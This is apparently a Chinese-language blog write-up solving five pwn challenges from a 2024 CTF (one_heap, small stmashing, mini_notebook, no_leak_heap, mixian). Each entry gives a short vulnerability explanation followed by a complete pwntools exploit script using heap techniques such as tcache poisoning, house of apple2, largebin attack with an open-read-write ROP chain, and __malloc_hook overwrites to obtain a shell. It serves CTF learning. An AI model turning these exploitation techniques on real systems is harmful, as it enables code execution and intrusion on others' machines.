蜀道山CTF-PWN全解WP


蜀道山CTF-PWN附件下载:https://z-l-s-f.lanzouq.com/ixEZc2g31zdg


one_heap

​ check:

​ 题目保护全开

​ 漏洞点:

​ 1.

​ uaf漏洞。

​ 2.

​ 输出指向当前堆块的地址(而非堆块的内容)。

​ 思路:

​ 题目只允许一次操作一个堆块,但是我们可以通过magic函数来造成tcachebin的uaf,释放任意一堆块获得heap的基地址,通过tcatche的uaf申请到tcachebin的开头(也就是堆块的起始地址这个位置,这里记录了tcache堆块的所有信息,我们可以修改这个地方影响tcachebin的行为)。

​ 通过修改堆块0x290的数量为7,释放tcachebin头进入unsortbins,此时堆中出现了libc的地址,申请合适的堆块来让这个libc地址到0x100的范围中,通过申请0xF8可以将堆块申请到这个libc地址上(不能将unsortbin构造到其他地址是因为高libc版本会有加密,加密后申请是必不会成功的)。

​ 通过magic输出libc的地址后可得libc的基地址。

​ 通过正常的tcachebin attack劫持_IO_list_all到堆中打house of apple2即可完成攻击。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("gamebox.yunyansec.com", 32121)
#p = process("./heap")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(size,content):
sela(b"choice: \n",stre(1))
sela(b"size:\n",stre(size))
sea(b"context:\n",content)

def dele():
sela(b"choice: \n",stre(2))

def show():
sela(b"choice: \n",stre(3))

add(0xF8,b"A"*0x20)
dele()

show()
rel()
heap_base = u64(reu(b"\n",True).ljust(8,b"\x00")) - 0x2a0
ph(heap_base,"heap_base")
key = heap_base >> (4*3)
ph(key,"key")

dele()
show()
dele()
show()
dele()

add(0xC8,b"S"*0x8)
dele()
add(0xB8,b"S"*0x8)
dele()
add(0xA8,b"S"*0x8)
dele()
add(0x98,b"S"*0x8)
dele()
add(0x88,b"S"*0x8)
dele()
add(0x78,b"S"*0x8)
dele()

fake_addr = (heap_base+0x10) ^ key
add(0xF8,p64(fake_addr))
add(0xF8,b"A"*0x8)
add(0xF8,p64(0x0)*1 + p64(0x1000100000000) + p64(0x1000100010001) + p64(0x100000000) + p64(0x0)*5 + p64(0x7000000000000))

dele()
add(0xE8,p64(0))

dele()
show()
dele()
show()
dele()
show()
dele()

add(0xE8,p64(0x0)*1 + p64(0x1000100000000) + p64(0x1000100010001) + p64(0x100000000) + p64(0x0)*5 + p64(0x7000000000000))
add(0xF8,p64(0))

show()

rel()
libc_base = raddr64() - 0x203b20
ph(libc_base,"libc_base")

IO_list_all = libc_base + libc.sym["_IO_list_all"]
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

add(0xC8,b"X"*0x8)

dele()
show()
dele()
show()
dele()
show()
dele()

fake_addr = (IO_list_all) ^ key
add(0xC8,p64(fake_addr))
fakeio1 = p32(0xfffff7f5) + b";sh\x00" + p64(0x0)
fakeio1+= p64(0)*2
fakeio1+= p64(0)+p64(1)
fakeio1+= b"\x00"*0x70 + p64(heap_base + 0x500)
fakeio1+= b"\x00"*0x20
add(0xC8,fakeio1)
add(0xC8,p64(heap_base + 0x3a0))
fakeio2 = p64(0) + p64(io_wfile_jumps)
fakeio2+= b"\x00"*0x20 + b"\x00"*0x78
add(0xB8,fakeio2)
fakeio3 = b"\x00"*0x40 + b"\x00"*0x68
add(0xA8,fakeio3)
fakeio4 = p64(heap_base + 0x600 ) + p64(0)
fakeio4+= b"\x00"*0x78 + p64(sys_addr)
add(0x98,fakeio4)

sela(b"choice: \n",stre(6))

op()

small stmashing

​ check:

​ 沙盒:

​ NX保护开启,RELRO半开。

​ 漏洞点:

​ 存在uaf漏洞。

​ 思路:

​ 我们最多可以持有33个堆块,我们只能持有0x78到0x3F8之间的堆块。

​ add函数使用了calloc,该函数的特点就是不会从tcachebins中获取堆块。

​ 我们先通过9次申请0x288然后再释放,此时会有unsortbins出现,我们可以同时获得堆基地址(add函数会输出堆地址)和libc基地址。

​ 题目的本意应该是要我们使用smallbin中的attack,但是我们可以非常极限的通过大量的堆块来完成largebin attack(因为选择5有一个可选栈溢出,通过largebin attack到0x4040C0可以获得大量的输入来构造ORW)。

​ 通过非常规方法构造largebin attack非常麻烦。

​ 1.你得先构造两个0x500~0x530的largebin范围的unsortbin,和一个至少小于0x500的unsortbin,此时他们都不是释放状态。

​ 2.此时先释放0x520的块到unsorbin中,然后释放小于0x500的块到unsortbin中,申请一个和你组成unsortbin堆块大小无关的堆块(比如我是通过0x288和0x88凭凑的,就可以申请0x98),此时会从小于0x500的unsortbin分割出0x98的堆块,而0x520的堆块会被释放到largebin中。

​ 3.再释放0x510的堆块到unsortbin中,伪造0x520的堆块的bk_nextsize = target - 0x20,此时再次申请0x98的堆块,我们就完成了largebin attack。

​ 通过5号函数的栈溢出即可完成ORW。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(0xFFFFFFFFFFFFFF9C) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0)*2 + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(0)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(0)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
p = process("./heap")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(size):
sela(b"choice:",stre(1))
sela(b"size:\n",stre(size))

def dele(index):
sela(b"choice:",stre(2))
sela(b"Idx:\n",stre(index))

def edit(index,content):
sela(b"choice:",stre(3))
sela(b"Idx:\n",stre(index))
sea(b"Content:\n",content)

def show(index):
sela(b"choice:",stre(4))
sela(b"Idx:\n",stre(index))

for i in range(0,9):
add(0x288)
edit(i,b"S"*0x20)

add(0x100)
reu(b"Ptr: ")
heap_addr = int(reu(b"\n",True),16)
ph(heap_addr,"heap_addr")
edit(9,b"flag\x00")

for i in range(0,9):
dele(i)

show(7)

libc_base = raddr64() - 0x1ecbe0
ph(libc_base,"libc_base")

openat_addr = libc_base + libc.sym["openat"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]

pop_rdi = libc_base + 0x23b6a
pop_rsi = libc_base + 0x2601f
pop_rdx_rbx = libc_base + 0x15fae6

for i in range(10,18):
add(0x88)

add(0x88) #18
add(0x288) #19
add(0x288) #20
add(0x88) #21
add(0x88) #22
add(0x288) #23
add(0x288) #24
add(0x88) #25
add(0x88) #26
add(0x288) #27
add(0x288) #28
for i in range(10,18):
dele(i)

dele(18)
dele(19)
dele(20)
dele(21)
add(0x98) #29
dele(23)
dele(24)

add(0x88) #30
add(0x88) #31
dele(31)

edit(23,p64(libc_base + 0x1ed030)*2 + p64(0) + p64(0x4040C0-0x20))

dele(26)
dele(27)
add(0x98) #32

sela(b"choice:",stre(5))
sleep(0.1)
payload = b"A"*0x38 + orw_rop64(pop_rdi,pop_rsi,pop_rdx_rbx,heap_addr,openat_addr,read_addr,write_addr)
se(payload)

op()

mini_notebook

​ check:

​ 保护全开

​ 漏洞点:

​ uaf漏洞。

​ 思路:

​ 通过tcache的double free打tcache头暴露libc基地址,然后打malloc_hook。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
p = process("./heap")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(size):
sela(b">>> ",stre(1))
sela(b"size???",stre(size))

def dele():
sela(b">>> ",stre(2))

def show():
sela(b">>> ",stre(3))

def edit(content):
sela(b">>> ",stre(4))
sea(b"content???",content)

add(0x38)
dele()

edit(p64(0)*2)
dele()

show()
heap_base = raddr64() - 0x2a0
ph(heap_base,"heap_base")

edit(p64(heap_base+0x30))
add(0x28)
dele()
add(0x38)
add(0x38)
edit(p64(0)*5+p64(0x7000000000000))
add(0x38)
dele()
edit(p64(0)*2)
dele()

edit(p64(heap_base+0x10))
add(0x38)
add(0x38)
dele()

show()
libc_base = raddr64() - 0x1ecbe0
ph(libc_base,"libc_base")
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one = libc_base + 0xe3b01

edit(p64(0x30000))
add(0x28)
dele()
edit(p64(0)*2)
dele()
add(0x28)
edit(p64(malloc_hook))
add(0x28)
add(0x28)
edit(p64(one))
add(0x28)

op()

no_leak_heap

​ check:

​ 除了PIE其他保护全开。

​ 漏洞点:

​ 存在uaf漏洞。

​ 主动泄露堆地址。

​ 后门函数。

​ 思路:

​ 通过申请大块在堆块上残留libc地址,改其末尾为0x4aed申请到malloc_hook上,修改malloc_hook到后门完成getshell。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(index,size,content):
sela(b">>> ",stre(1))
sela(b"idx???",stre(index))
sela(b"size???",stre(size))
sea(b"content???",content)

def dele(index):
sela(b">>> ",stre(2))
sela(b"idx???",stre(index))

reu(b": ")
heap_base = int(reu(b"\n",True),16) - 0x21000
ph(heap_base,"heap_base")

add(10,0x68,p64(0)+p64(0x71))
add(9,0x300,b"S"*0x8)
add(0,0x68,b"A"*0x8)
add(1,0x68,b"B"*0x8)
add(2,0x68,b"C"*0x8)
dele(0)
dele(1)
dele(0)
dele(9)

add(3,0x68,p64(heap_base+0x30))
add(4,0x68,b"\x00"*0x60+p64(0x3F0))
add(5,0x68,b"S"*0x8)
add(6,0x68,b"A"*0x58 + p64(0x71) + p16(0x4aed))

dele(0)
dele(1)
dele(0)

add(7,0x68,p64(heap_base+0x90))
add(8,0x68,b"S"*0x8)
add(11,0x68,b"S"*0x8)
add(12,0x68,p16(0x4aed))

add(13,0x68,b"A"*0x13 + p64(0x400AA6))

sela(b">>> ",stre(1))
sela(b"idx???",stre(14))
sela(b"size???",stre(0x20))

op()

mixian

​ check:

​ 保护全开。

​ 漏洞点:

​ num可以为负数,我们可以申请question_list到stdout的位置,修改stdou为经典的IO_FILE attck获得libc基地址。

num设置为3则正好可以修改最终判断的变量,通过libc基地址算出puts的地址加上rand()%0x2333的值就能完成getshell。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
p = process("./pwn")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
lib = cdll.LoadLibrary("./libc.so.6")

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

i = int(time.time())
lib.srand(i)

sela(b"answer?\n",stre(-8))
payload = p64(0xfbad1800) + p64(0)*3 + b"\x00"
sela(b"answer.\n",payload)
re(0x8)
libc_base = raddr64() - 0x1ec980
ph(libc_base,"libc_base")
puts_addr = libc_base + libc.sym["puts"]

payload = p64(puts_addr+(lib.rand()%0x2333))
sela(b"answer?",stre(3))
sela(b"answer.",payload)

sela(b"answer?",stre(1))
sela(b"answer.",b"A")

op()

蜀道山CTF-PWN全解WP
https://zlsf-zl.github.io/2024/11/24/蜀道山CTF-PWN全解WP/
作者
ZLSF
发布于
2024年11月24日
许可协议